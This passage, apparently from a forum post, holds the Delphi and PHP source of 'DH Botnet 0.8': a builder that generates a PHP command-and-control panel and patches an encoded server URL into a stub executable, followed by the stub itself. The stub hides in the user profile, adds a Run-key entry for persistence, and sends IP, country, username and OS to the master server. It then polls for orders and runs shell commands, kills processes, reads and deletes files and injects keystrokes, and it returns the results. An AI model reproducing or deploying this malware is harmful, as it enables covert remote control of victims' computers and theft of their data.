'                $time = $timeout;'+sLineBreak+
'                $timeout = $timeout * 1000;'+sLineBreak+
'                echo "<script>alert(''Wait " . htmlentities($time) . " seconds'');</script>";'+sLineBreak+
'                echo "'+sLineBreak+
'<script type=\"text/javascript\">'+sLineBreak+
'setTimeout (\"location.href=''?console=$id''\",$timeout);'+sLineBreak+
'</script>'+sLineBreak+
'";'+sLineBreak+
'            } //'+sLineBreak+
'            echo "'+sLineBreak+
'<br><br>'+sLineBreak+
'<center>'+sLineBreak+
'<h1>Infected idiots</h1>'+sLineBreak+
'<br><br>'+sLineBreak+
'";'+sLineBreak+
'            $re = mysql_query("select count(clave) from slaves");'+sLineBreak+
'            $ver = mysql_fetch_array($re);'+sLineBreak+
'            if ($ver[0] == 0) { //'+sLineBreak+
'                echo "<script>alert(''No idiots'');</script>";'+sLineBreak+
'            } else {'+sLineBreak+
'                $re = mysql_query("select * from slaves");'+sLineBreak+
'                echo "'+sLineBreak+
'<table border=1  width=1100>'+sLineBreak+
'<td ><b>ID</b></td><td ><b>Key</b></td><td ><b>IP</b></td><td ><b>Country</b></td><td ><b>Username</b></td><td ><b>OS</b></td><td ><b>Timeout</b></td><td><b>Status</b></td><td><b>Option</b></td><tr>'+sLineBreak+
'";'+sLineBreak+
'                $idiotas = array();'+sLineBreak+
'                while ($ver = mysql_fetch_array($re)) {'+sLineBreak+
'                    if ($ver[7] == 1) {'+sLineBreak+
'                        $estado = "Online";'+sLineBreak+
'                    } else {'+sLineBreak+
'                        $estado = "Offline";'+sLineBreak+
'                    }'+sLineBreak+
'                    echo "<td >" . htmlentities($ver[0]) . "</td><td >" . htmlentities($ver[1]) . "</td><td >" . htmlentities($ver[2]) . "</td><td >" . htmlentities($ver[3]) . "</td>";'+sLineBreak+
'                    echo "<td >" . htmlentities($ver[4]) . "</td><td >" . htmlentities($ver[5]) . "</td><td >" . htmlentities($ver[6]) . "</td><td>" . $estado . "<td><a href=?borrar=" . $ver[0] . ">Delete</a></td><tr>";'+sLineBreak+
'                    $idiotas[] = $ver[0];'+sLineBreak+
'                    mysql_query("UPDATE slaves set estado='''' where id=" . $ver[0]);'+sLineBreak+
'                }'+sLineBreak+
'                echo "</table>";'+sLineBreak+
'            } //'+sLineBreak+
'            echo "<form action='''' method=POST>";'+sLineBreak+
'            echo "'+sLineBreak+
' '+sLineBreak+
'<br><br><br><br>'+sLineBreak+
' '+sLineBreak+
'<table>'+sLineBreak+
'<td>'+sLineBreak+
'<b>Idiot :</b>'+sLineBreak+
'</td>'+sLineBreak+
'<td>'+sLineBreak+
'<select name=idiotas>";'+sLineBreak+
'            foreach($idiotas as $idiota) {'+sLineBreak+
'                echo "<option>" . $idiota . "</option>";'+sLineBreak+
'            }'+sLineBreak+
'            echo "'+sLineBreak+
'</select>'+sLineBreak+
'</td><tr>'+sLineBreak+
' '+sLineBreak+
'<td><b>Options : </b></td>'+sLineBreak+
'<td><select name=options>'+sLineBreak+
'<option>CMD</option>'+sLineBreak+
'<option>GetProcess</option>'+sLineBreak+
'<option>KillProcess</option>'+sLineBreak+
'<option>ListDir</option>'+sLineBreak+
'<option>Delete</option>'+sLineBreak+
'<option>OpenFile</option>'+sLineBreak+
'<option>OpenCD</option>'+sLineBreak+
'<option>CloseCD</option>'+sLineBreak+
'<option>HideIcons</option>'+sLineBreak+
'<option>ShowIcons</option>'+sLineBreak+
'<option>HideTaskbar</option>'+sLineBreak+
'<option>ShowTaskbar</option>'+sLineBreak+
'<option>OpenWord</option>'+sLineBreak+
'<option>SendKeys</option>'+sLineBreak+
'<option>CrazyMouse</option>'+sLineBreak+
'</select></td><tr>'+sLineBreak+
' '+sLineBreak+
'<td><b>Command 1 : </b></td><td><input type=text name=cmd1></td><tr>'+sLineBreak+
'<td><b>Command 2 : </b></td><td><input type=text name=cmd2></td><tr>'+sLineBreak+
'<td><b>Command 3 : </b></td><td><input type=text name=cmd3></td>'+sLineBreak+
'</table><br>'+sLineBreak+
'<input type=submit name=mandarcmd value=Send> <input type=submit name=about value=Help>'+sLineBreak+
'";'+sLineBreak+
'            echo "</form>";'+sLineBreak+
'            echo "<br><br><br><br><br><br><br><h2>-- == (C) Doddy Hackman 2014 || Contact : lepuke[at]hotmail[com] || Web : http://doddyhackman.webcindario.com == --</h2>";'+sLineBreak+
'        } else {'+sLineBreak+
'            echo "'+sLineBreak+
'<center><br><br>'+sLineBreak+
'<form action='''' method=POST>'+sLineBreak+
'<h2>Want to install DH Botnet 0.8 ?</h2><br><br>'+sLineBreak+
'<input type=submit name=instalar value=Install>'+sLineBreak+
'</form>";'+sLineBreak+
'        }'+sLineBreak+
'        exit(1);'+sLineBreak+
'    }'+sLineBreak+
'} elseif (isset($_POST[''login''])) {'+sLineBreak+
'    if ($_POST[''user''] == $username and md5($_POST[''passwor'']) == $password) {'+sLineBreak+
'        setcookie("portal", base64_encode($_POST[''user''] . "@" . md5($_POST[''passwor''])));'+sLineBreak+
'        echo "<script>alert(''Welcome idiot'');</script>";'+sLineBreak+
'        echo ''<meta http-equiv="refresh" content=0;URL=>'';'+sLineBreak+
'    } else {'+sLineBreak+
'        echo "<script>alert(''DIE MOTHER FUCKER DIE'');</script>";'+sLineBreak+
'        echo ''<meta http-equiv="refresh" content=0;URL=>'';'+sLineBreak+
'    }'+sLineBreak+
'} elseif (isset($_GET[''poraca''])) {'+sLineBreak+
'    colores();'+sLineBreak+
'    echo "'+sLineBreak+
'<br><h1><center>Login</center></h1>'+sLineBreak+
'<br><br><center>'+sLineBreak+
'<form action='''' method=POST>'+sLineBreak+
'<b>Username : </b><input type=text name=user><br><br>'+sLineBreak+
'<b>Password : </b><input type=password name=passwor><br><br>'+sLineBreak+
'<input type=submit name=login value=Enter><br>'+sLineBreak+
'</form>'+sLineBreak+
'</center><br><br>";'+sLineBreak+
'} else {'+sLineBreak+
'    error();'+sLineBreak+
'}'+sLineBreak+
'//'+sLineBreak+
'// Funciones secundarias'+sLineBreak+
'function colores() {'+sLineBreak+
'    // Colores'+sLineBreak+
'    $color = "#00FF00";'+sLineBreak+
'    $fondo = "#000000";'+sLineBreak+
'    echo "'+sLineBreak+
' '+sLineBreak+
'<STYLE type=text/css>'+sLineBreak+
' '+sLineBreak+
'body,a:link {'+sLineBreak+
'background-color: $fondo;'+sLineBreak+
'color:$color;'+sLineBreak+
'Courier New;'+sLineBreak+
'cursor:crosshair;'+sLineBreak+
'font: normal 0.7em sans-serif,Arial;'+sLineBreak+
'}'+sLineBreak+
' '+sLineBreak+
'input,textarea,fieldset,select,table,td,tr,option,select {'+sLineBreak+
'font: normal 13px Verdana, Arial, Helvetica,'+sLineBreak+
'sans-serif;'+sLineBreak+
'background-color:$fondo;'+sLineBreak+
'color:$color;'+sLineBreak+
'border: solid 1px $color;'+sLineBreak+
'border-color:$color'+sLineBreak+
'}'+sLineBreak+
' '+sLineBreak+
'a:link,a:visited,a:active {'+sLineBreak+
'color:$color;'+sLineBreak+
'font: normal 10px Verdana, Arial, Helvetica,'+sLineBreak+
'sans-serif;'+sLineBreak+
'text-decoration: none;'+sLineBreak+
'}'+sLineBreak+
' '+sLineBreak+
'</style>'+sLineBreak+
' '+sLineBreak+
'";'+sLineBreak+
'}'+sLineBreak+
'function error() {'+sLineBreak+
'    echo ''<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">'+sLineBreak+
'<html><head>'+sLineBreak+
'<title>404 Not Found</title>'+sLineBreak+
'</head><body>'+sLineBreak+
'<h1>Not Found</h1>'+sLineBreak+
'<p>The requested URL was not found on this server.</p>'+sLineBreak+
'</body></html>'';'+sLineBreak+
'    exit(1);'+sLineBreak+
'}'+sLineBreak+
'// End'+sLineBreak+
'mysql_close();'+sLineBreak+
'//'+sLineBreak+
' '+sLineBreak+
'// The End ?'+sLineBreak+
' '+sLineBreak+
'?>'+sLineBreak;

  codigo_botnet := StringReplace(codigo_botnet, 'ACA_VA_TU_USER',
    username_login.Text, [rfReplaceAll, rfIgnoreCase]);
  codigo_botnet := StringReplace(codigo_botnet, 'ACA_VA_TU_PASSWORD_EN_MD5',
    md5_encode(password_login.Text), [rfReplaceAll, rfIgnoreCase]);
  codigo_botnet := StringReplace(codigo_botnet, 'ACA_VA_EL_HOST',
    host_mysql.Text, [rfReplaceAll, rfIgnoreCase]);
  codigo_botnet := StringReplace(codigo_botnet, 'ACA_VA_EL_USER',
    user_mysql.Text, [rfReplaceAll, rfIgnoreCase]);
  codigo_botnet := StringReplace(codigo_botnet, 'ACA_VA_EL_PASS',
    pass_mysql.Text, [rfReplaceAll, rfIgnoreCase]);
  codigo_botnet := StringReplace(codigo_botnet, 'ACA_VA_EL_NOMBRE',
    db_mysql.Text, [rfReplaceAll, rfIgnoreCase]);
  codigo_botnet := StringReplace(codigo_botnet, 'ACA_VA_EL_TIEMPO_DE_CARGA',
    timeout_login.Text, [rfReplaceAll, rfIgnoreCase]);

  stubgenerado := 'server_ready.exe';

  DeleteFile('index_botnet.php');
  savefile('index_botnet.php', codigo_botnet);

  lineafinal := '[url]' + pagina.Text + '[url]' + '[time]' + timeout_pagina.Text
    + '[time]';

  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub.exe'),
    PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  linea := marca_uno;
  StrCopy(code, PChar(linea));
  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  if not(ruta_icono.Text = '') then
  begin
    try
      begin

        valor := IntToStr(128);

        change := BeginUpdateResourceW
          (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
          stubgenerado)), False);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(ruta_icono)));
        EndUpdateResourceW(change, False);
        StatusBar1.Panels[0].Text := '[+] Done ';
        StatusBar1.Update;
      end;
    except
      begin
        StatusBar1.Panels[0].Text := '[-] Error';
        StatusBar1.Update;
      end;
    end;
  end
  else
  begin
    StatusBar1.Panels[0].Text := '[+] Done ';
    StatusBar1.Update;
  end;
end;

end.

// The End ?

El stub :

Código:

// DH Botnet 0.8
// (C) Doddy Hackman 2014

// Stub

program stub;

// {$APPTYPE CONSOLE}

{$POINTERMATH ON}

uses
  SysUtils, WinInet, Windows, TlHelp32, ShellApi;

var
  datos: string;
  clave: string;
  ip: string;
  pais: string;
  user: string;
  os: string;

  url_master: string;
  time: string;

  code: string;
  ordenes_re: string;
  ordenes_cmd: string;
  ordenes_ar1: string;
  ordenes_ar2: string;
  ordenes_ar3: string;

var
  dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string;
  registro: HKEY;

  ob: THandle;
  codex: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;


  // Functions server

function crazy_mouse(number: string): string;
var
  i: integer;
  code: string;
begin
  code := '';
  For i := 1 to StrToInt(number) do
  begin
    Sleep(1000);
    SetCursorPos(i, i);
  end;
  code := '[?] Crazy Mouse : OK';
  Result := code;
end;

function SendKeys(texto: string): string;
// Thanks to Remy Lebeau for the help
var
  eventos: PInput;
  controlb, controla: integer;
  code: string;
begin

  code := '';
  code := '[?] SendKeys : OK';

  GetMem(eventos, SizeOf(TInput) * (Length(texto) * 2));

  controla := 0;

  for controlb := 1 to Length(texto) do
  begin

    eventos[controla].Itype := INPUT_KEYBOARD;
    eventos[controla].ki.wVk := 0;
    eventos[controla].ki.wScan := ord(texto[controlb]);
    eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE;
    eventos[controla].ki.time := 0;
    eventos[controla].ki.dwExtraInfo := 0;

    Inc(controla);

    eventos[controla].Itype := INPUT_KEYBOARD;
    eventos[controla].ki.wVk := 0;
    eventos[controla].ki.wScan := ord(texto[controlb]);
    eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE or KEYEVENTF_KEYUP;
    eventos[controla].ki.time := 0;
    eventos[controla].ki.dwExtraInfo := 0;

    Inc(controla);

  end;

  SendInput(controla, eventos[0], SizeOf(TInput));

  Result := code;

end;

function escribir_word(texto: string): string;
var
  code: string;
begin
  code := '';
  code := '[?] Word Joke : OK';
  ShellExecute(0, nil, PChar('winword.exe'), nil, nil, SW_SHOWNORMAL);
  Sleep(5000);
  SendKeys(texto);
  Result := code;

end;

function cambiar_barra(opcion: string): string;
var
  code: string;
begin
  code := '';

  if (opcion = 'hide') then
  begin
    ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
    code := '[?] Hidden Taskbar : OK';
  end
  else
  begin
    ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
    code := '[?] Show Taskbar : OK';
  end;

  Result := code;

end;

function cambiar_iconos(opcion: string): string;
var
  code: string;
  acatoy: THandle;
begin
  code := '';
  acatoy := FindWindow('ProgMan', nil);
  acatoy := GetWindow(acatoy, GW_CHILD);
  if (opcion = 'hide') then
  begin
    ShowWindow(acatoy, SW_HIDE);
    code := '[?] Hidden Icons : OK';
  end
  else
  begin
    ShowWindow(acatoy, SW_SHOW);
    code := '[?] Show Icons : OK';
  end;
  Result := code;
end;

function listardirectorio(dir: string): string;
var

  busqueda: TSearchRec;
  code: string;

begin

  code := '';

  FindFirst(dir + '\*.*', faAnyFile + faDirectory + faReadOnly, busqueda);

  code := code + '[?] : ' + busqueda.Name + sLineBreak;

  while FindNext(busqueda) = 0 do
  begin
    code := code + '[?] : ' + busqueda.Name + sLineBreak;
  end;

  Result := code;

end;

function borraresto(archivo: string): string;
var
  code: string;
begin

  code := '';

  if DirectoryExists(archivo) then
  begin
    if (RemoveDir(archivo)) then
    begin
      code := '[?] Directory removed';
    end
    else
    begin
      code := '[?] Error';
    end;
  end;
  if FileExists(archivo) then
  begin
    if (DeleteFile(PChar(archivo))) then
    begin
      code := '[?] File removed';
    end
    else
    begin
      code := '[?] Error';
    end;
  end;

  Result := code;

end;

function matarproceso(pid: string): string;
var
  vano: THandle;
  code: string;

begin

  code := '';
  vano := OpenProcess(PROCESS_TERMINATE, FALSE, StrToInt(pid));

  if TerminateProcess(vano, 0) then
  begin
    code := '[?] Kill Process : OK';
  end
  else
  begin
    code := '[?] Kill Process : ERROR';
  end;

  Result := code;

end;

function listarprocesos(): string;
var
  conector: THandle;
  timbre: LongBool;
  indicio: TProcessEntry32;
  code: string;

begin

  code := '';

  conector := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  indicio.dwSize := SizeOf(indicio);

  timbre := Process32First(conector, indicio);

  while timbre do

  begin

    code := code + '[?] Name : ' + indicio.szExeFile + '[?] PID : ' +
      IntToStr(indicio.th32ProcessID) + sLineBreak;

    timbre := Process32Next(conector, indicio);

  end;

  Result := code;

end;

function ejecutar(cmd: string): string;
// Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
// Thanks to www.delphidabbler.com

var
  parte1: TSecurityAttributes;
  parte2: TStartupInfo;
  parte3: TProcessInformation;
  parte4: THandle;
  parte5: THandle;
  control2: Boolean;
  contez: array [0 .. 255] of AnsiChar;
  notengoidea: Cardinal;
  fix: Boolean;
  code: string;

begin

  code := '';

  with parte1 do
  begin
    nLength := SizeOf(parte1);
    bInheritHandle := True;
    lpSecurityDescriptor := nil;
  end;

  CreatePipe(parte4, parte5, @parte1, 0);

  with parte2 do
  begin
    FillChar(parte2, SizeOf(parte2), 0);
    cb := SizeOf(parte2);
    dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
    wShowWindow := SW_HIDE;
    hStdInput := GetStdHandle(STD_INPUT_HANDLE);
    hStdOutput := parte5;
    hStdError := parte5;
  end;

  fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
    PChar('c:/'), parte2, parte3);

  CloseHandle(parte5);

  if fix then

    repeat

    begin
      control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
    end;

    if notengoidea > 0 then
    begin
      contez[notengoidea] := #0;
      code := code + contez;
    end;

    until not(control2) or (notengoidea = 0);

  Result := code;

end;

function leerdatos_sub(sub_1, sub_2, sub_3, sub_4: integer): DWORD;
begin
  Result := sub_1 shl 16 or sub_4 shl 14 or sub_2 shl 2 or sub_3;
end;

function opencd(tipoh: string): string;

// Credits : Based on http://stackoverflow.com/questions/19894566/using-windows-and-mmsystem-in-delphi
// Thanks to Sertac Akyuz

const
  const_uno = $00000009;
  const_dos = $0000002D;
  const_tres = 0;
  const_cuatro = 0;
  const_cinco = $0001;
  const_seis = const_dos;
  const_siete = 6;
  const_ocho = 8;

var
  var_uno: string;
  var_dos: THandle;
  var_tres: DWORD;
  opciondecd: integer;

begin

  if (tipoh = 'open') then
  begin
    opciondecd := $0202;
  end;

  if (tipoh = 'close') then
  begin
    opciondecd := $0203;
  end;

  var_uno := Format('\\.\%s:', ['D']);
  var_dos := CreateFile(PChar(var_uno), GENERIC_READ, FILE_SHARE_WRITE, nil,
    OPEN_EXISTING, 0, 0);
  DeviceIoControl(var_dos, leerdatos_sub(const_uno, const_siete, const_tres,
    const_cuatro), nil, 0, nil, 0, var_tres, nil);
  DeviceIoControl(var_dos, leerdatos_sub(const_uno, const_ocho, const_tres,
    const_cuatro), nil, 0, nil, 0, var_tres, nil);
  DeviceIoControl(var_dos, leerdatos_sub(const_seis, opciondecd, const_tres,
    const_cinco), nil, 0, nil, 0, var_tres, nil);
  CloseHandle(var_dos);

  Result := '[?] CD : OK';

end;

//

// First Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function partirdoc(Url: string): string;
var
  chauhost: string;
begin

  Url := StringReplace(Url, regex(Url, '://', '/'), '',
    [rfReplaceAll, rfIgnoreCase]);
  Url := StringReplace(Url, 'http://', '', [rfReplaceAll, rfIgnoreCase]);
  Url := StringReplace(Url, 'https://', '', [rfReplaceAll, rfIgnoreCase]);

  Result := Url;

end;

function getfilename(Url: string): string;
// Credits : Based on http://delphi-kb.blogspot.com.ar/2009/12/extract-filename-from-url.html
// Thanks to NM
var
  resultado: string;
begin
  resultado := StringReplace(Url, '/', '\', [rfReplaceAll]);
  resultado := ExtractFileName(resultado);
  Result := resultado;
end;

function toma(const pagina: string): UTF8String;

// Credits : Based on http://www.scalabium.com/faq/dct0080.htm
// Thanks to www.scalabium.com

var
  nave1: HINTERNET;
  nave2: HINTERNET;
  tou: DWORD;
  codez: UTF8String;
  codee: array [0 .. 1023] of byte;
  finalfinal: string;

begin

  try

    begin

      finalfinal := '';
      Result := '';

      nave1 := InternetOpen
        ('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12',
        INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

      nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
        INTERNET_FLAG_RELOAD, 0);

      repeat

      begin
        InternetReadFile(nave2, @codee, SizeOf(codee), tou);
        SetString(codez, PAnsiChar(@codee[0]), tou);
        finalfinal := finalfinal + codez;
      end;

      until tou = 0;

      InternetCloseHandle(nave2);
      InternetCloseHandle(nave1);

      Result := finalfinal;
    end;

  except
    //
  end;

end;

function tomar(pagina: string; postdata: AnsiString): string;

// Credits : Based on  : http://tulisanlain.blogspot.com.ar/2012/10/how-to-send-http-post-request-in-delphi.html
// Thanks to Tulisan Lain

const
  accept: packed array [0 .. 1] of LPWSTR = (PChar('*/*'), nil);

var
  nave3: HINTERNET;
  nave4: HINTERNET;
  nave5: HINTERNET;
  todod: array [0 .. 1023] of AnsiChar;
  numberz: Cardinal;
  numberzzz: Cardinal;
  finalfinalfinalfinal: string;

begin

  try

    begin

      finalfinalfinalfinal := '';
      Result := '';

      nave3 := InternetOpen
        (PChar('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12'),
        INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

      nave4 := InternetConnect(nave3, PChar(regex(pagina, '://', '/')),
        INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 1);

      nave5 := HttpOpenRequest(nave4, PChar('POST'), PChar(partirdoc(pagina)),
        nil, nil, @accept, 0, 1);

      HttpSendRequest(nave5,
        PChar('Content-Type: application/x-www-form-urlencoded'),
        Length('Content-Type: application/x-www-form-urlencoded'),
        PChar(postdata), Length(postdata));

      repeat

      begin

        InternetReadFile(nave5, @todod, SizeOf(todod), numberzzz);

        if numberzzz = SizeOf(todod) then
        begin
          Result := Result + AnsiString(todod);
        end;
        if numberzzz > 0 then
          for numberz := 0 to numberzzz - 1 do
          begin
            finalfinalfinalfinal := finalfinalfinalfinal + todod[numberz];
          end;

      end;

      until numberzzz = 0;

      InternetCloseHandle(nave3);
      InternetCloseHandle(nave4);
      InternetCloseHandle(nave5);

      Result := finalfinalfinalfinal;

    end;

  except
    //
  end;

end;

function dh_generate(cantidad: integer): string;

const
  opciones: array [1 .. 3] of string = ('mayus', 'minus', 'numbers');

var
  aleatorio: integer;
  iz: integer;

var
  finalr: string;
begin

  finalr := '';

  for iz := 1 to cantidad do
  begin
    aleatorio := Random(4 - 1) + 1;

    if (opciones[aleatorio] = 'mayus') then
    begin
      finalr := finalr + Chr(ord('A') + Random(26));
    end;
    if (opciones[aleatorio] = 'minus') then
    begin
      finalr := finalr + Chr(ord('a') + Random(26));
    end;
    if (opciones[aleatorio] = 'numbers') then
    begin
      finalr := finalr + Chr(ord('0') + Random(10));
    end;
  end;

  Result := finalr;

end;

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Writeln(ar, texto);
  CloseFile(ar);

end;

function leerarchivo(rutadelarchivo: string): string;
const
  cantidad_buffer = $8000;

var
  fun_uno: LongWord;
  fun_dos: THandle;
  fun_tres: array [0 .. cantidad_buffer - 1] of AnsiChar;

begin

  fun_tres := '';

  fun_dos := CreateFile(PChar(rutadelarchivo), GENERIC_READ, FILE_SHARE_READ or
    FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, 0);

  SetFilePointer(fun_dos, 0, nil, FILE_BEGIN);

  ReadFile(fun_dos, fun_tres, cantidad_buffer, fun_uno, nil);

  while (fun_uno > 0) do
  begin
    ReadFile(fun_dos, fun_tres, cantidad_buffer, fun_uno, nil);
  end;

  CloseHandle(fun_dos);

  Result := fun_tres;

end;

function getmydata(): string;
var
  consegui_key, consegui_ip, consegui_pais, consegui_user, consegui_os: string;
  codigo_de_pagina: string;

begin

  consegui_key := leerarchivo('key');
  consegui_key := StringReplace(consegui_key, sLineBreak, '',
    [rfReplaceAll, rfIgnoreCase]);

  codigo_de_pagina := toma('http://whatismyipaddress.com/');

  consegui_ip := regex(codigo_de_pagina, 'alt="Click for more about ',
    '"></a>');
  consegui_pais := regex(codigo_de_pagina,
    'Country:</th><td style="font-size:14px;">', '</td></tr>');

  if (consegui_ip = '') then
  begin
    consegui_ip := '?';
  end;

  if (consegui_pais = '') then
  begin
    consegui_pais := '?';
  end;

  consegui_user := GetEnvironmentVariable('username');
  consegui_os := GetEnvironmentVariable('os');

  Result := '[key]' + consegui_key + '[key]' + '[ip]' + consegui_ip + '[ip]' +
    '[pais]' + consegui_pais + '[pais]' + '[user]' + consegui_user + '[user]' +
    '[os]' + consegui_os + '[os]';

end;

procedure saludo;
begin
  tomar(url_master, 'entradatrasera=hidad&key=' + clave + '&ip=' + ip + '&pais='
    + pais + '&username=' + user + '&os=' + os + '&timeout=' + time);

end;

procedure sigo_vivo;
begin

  tomar(url_master, 'sigovivo=alpedo&clavenow=' + clave);

end;

function ver_ordenes(): string;
var
  re_cmd, arg1, arg2, arg3: string;
begin
  code := tomar(url_master, 'ordenespabots=alpedo&clave=' + clave);
  re_cmd := regex(code, '[+] Orden : ', '<br>');
  arg1 := regex(code, '[+] Arg1 : ', '<br>');
  arg2 := regex(code, '[+] Arg2 : ', '<br>');
  arg3 := regex(code, '[+] Arg3 : ', '<br>');
  Result := '[comando]' + re_cmd + '[comando]' + '[arg1]' + arg1 + '[arg1]' +
    '[arg2]' + arg2 + '[arg2]' + '[arg3]' + arg3 + '[arg3]';
end;

procedure mandar_rta(contenido: string);
begin
  tomar(url_master, 'mandocarajo=alpedo&miclave=' + clave + '&mirta=' +
    contenido);
end;

begin

  ob := INVALID_HANDLE_VALUE;
  code := '';

  ob := CreateFile(PChar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
    ReadFile(ob, codex, 9999, nose, nil);
    CloseHandle(ob);
  end;

  todo := regex(codex, '[63686175]', '[63686175]');
  todo := dhencode(todo, 'decode');

  url_master := regex(todo, '[url]', '[url]');
  time := regex(todo, '[time]', '[time]');


  // url_master := 'http://localhost/botnet/';
  // time := '5';

  try

    dir_hide := GetEnvironmentVariable('USERPROFILE') + '/';
    carpeta := 'ratatax';

    dir := dir_hide + carpeta + '/';

    if not(DirectoryExists(dir)) then
    begin
      CreateDir(dir);
    end;

    ChDir(dir);

    nombrereal := ExtractFileName(paramstr(0));
    rutareal := dir;
    yalisto := dir + nombrereal;

    MoveFile(PChar(paramstr(0)), PChar(yalisto));

    SetFileAttributes(PChar(dir), FILE_ATTRIBUTE_HIDDEN);

    SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);

    RegCreateKeyEx(HKEY_LOCAL_MACHINE,
      'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
      REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
    RegSetValueEx(registro, 'uberkk', 0, REG_SZ, PChar(yalisto), 666);
    RegCloseKey(registro);

    if not(FileExists('key')) then
    begin
      Randomize;
      savefile('key', dh_generate(5));
    end;

    datos := getmydata();

    clave := regex(datos, '[key]', '[key]');
    ip := regex(datos, '[ip]', '[ip]');
    pais := regex(datos, '[pais]', '[pais]');
    user := regex(datos, '[user]', '[user]');
    os := regex(datos, '[os]', '[os]');

    {
      Writeln('[+] Clave : ' + clave);
      Writeln('[+] IP : ' + ip);
      Writeln('[+] Pais : ' + pais);
      Writeln('[+] Username : ' + user);
      Writeln('[+] OS : ' + os);
    }

    saludo;

    {
      Writeln('');
      Writeln('[+] Iniciando bucle');
    }

    while (True) do
    begin

      Sleep(StrToInt(time) * 1000);

      sigo_vivo;
      ordenes_re := ver_ordenes;

      ordenes_cmd := regex(ordenes_re, '[comando]', '[comando]');
      ordenes_ar1 := regex(ordenes_re, '[arg1]', '[arg1]');
      ordenes_ar2 := regex(ordenes_re, '[arg2]', '[arg2]');
      ordenes_ar3 := regex(ordenes_re, '[arg3]', '[arg3]');

      {
        Writeln('');

        Writeln('[+] orden : ' + ordenes_cmd);
        Writeln('[+] ar1 : ' + ordenes_ar1);
        Writeln('[+] ar2 : ' + ordenes_ar2);
        Writeln('[+] ar3 : ' + ordenes_ar3);
      }

      if (ordenes_cmd = 'CMD') then
      begin
        mandar_rta(ejecutar(ordenes_ar1));
      end;

      if (ordenes_cmd = 'GetProcess') then
      begin
        mandar_rta(listarprocesos());
      end;

      if (ordenes_cmd = 'KillProcess') then
      begin
        mandar_rta(matarproceso(ordenes_ar1));
      end;

      if (ordenes_cmd = 'ListDir') then
      begin
        mandar_rta(listardirectorio(ordenes_ar1));
      end;

      if (ordenes_cmd = 'Delete') then
      begin
        mandar_rta(borraresto(ordenes_ar1));
      end;

      if (ordenes_cmd = 'OpenFile') then
      begin
        mandar_rta(leerarchivo(ordenes_ar1));
      end;

      if (ordenes_cmd = 'OpenCD') then
      begin
        mandar_rta(opencd('open'));
      end;

      if (ordenes_cmd = 'CloseCD') then
      begin
        mandar_rta(opencd('close'));
      end;

      if (ordenes_cmd = 'HideIcons') then
      begin
        mandar_rta(cambiar_iconos('hide'));
      end;

      if (ordenes_cmd = 'ShowIcons') then
      begin
        mandar_rta(cambiar_iconos('mostrar'));
      end;

      if (ordenes_cmd = 'HideTaskbar') then
      begin
        mandar_rta(cambiar_barra('hide'));
      end;

      if (ordenes_cmd = 'ShowTaskbar') then
      begin
        mandar_rta(cambiar_barra('mostrar'));
      end;

      if (ordenes_cmd = 'SendKeys') then
      begin
        mandar_rta(SendKeys(ordenes_ar1));
      end;

      if (ordenes_cmd = 'OpenWord') then
      begin
        mandar_rta(escribir_word(ordenes_ar1));
      end;

